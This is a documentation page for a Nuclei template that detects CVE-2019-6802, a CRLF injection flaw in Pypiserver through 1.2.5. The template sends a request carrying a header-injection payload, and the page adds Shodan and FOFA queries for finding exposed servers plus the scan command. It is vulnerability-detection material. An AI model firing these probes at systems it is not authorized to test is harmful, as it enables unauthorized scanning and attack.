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Nuclei Templates

Pypiserver <1.2.5 - Carriage Return Line Feed Injection

ID: CVE-2019-6802

Severity: medium

Author: 0x_Akoko

Tags: cve,cve2019,crlf,pypiserver,python

Description

Section titled “Description”

Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.

YAML Source

Section titled “YAML Source”
id: CVE-2019-6802


info:
  name: Pypiserver <1.2.5 - Carriage Return Line Feed Injection
  author: 0x_Akoko
  severity: medium
  description: |
    Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.
  remediation: |
    Upgrade to Pypiserver version 1.2.5 or later.
  reference:
    - https://vuldb.com/?id.130257
    - https://github.com/pypiserver/pypiserver/issues/237
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6802
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-6802
    cwe-id: CWE-74
    epss-score: 0.00113
    epss-percentile: 0.43845
    cpe: cpe:2.3:a:python:pypiserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: python
    product: pypiserver
    shodan-query:
      - html:"pypiserver"
      - http.html:"pypiserver"
    fofa-query: body="pypiserver"
  tags: cve,cve2019,crlf,pypiserver,python


http:
  - method: GET
    path:
      - "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"


    matchers:
      - type: regex
        part: header
        regex:
          - "^Set-Cookie: crlfinjection=1;"
# digest: 490a004630440220233acb387fdf4f50575da7ecad6a9902c1d2e3bc4840eac0751456703280b5e402207bc91e2fa5325a23a6cd9453079ea9402c8989856645e7e839f460071b283a49:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-6802.yaml"

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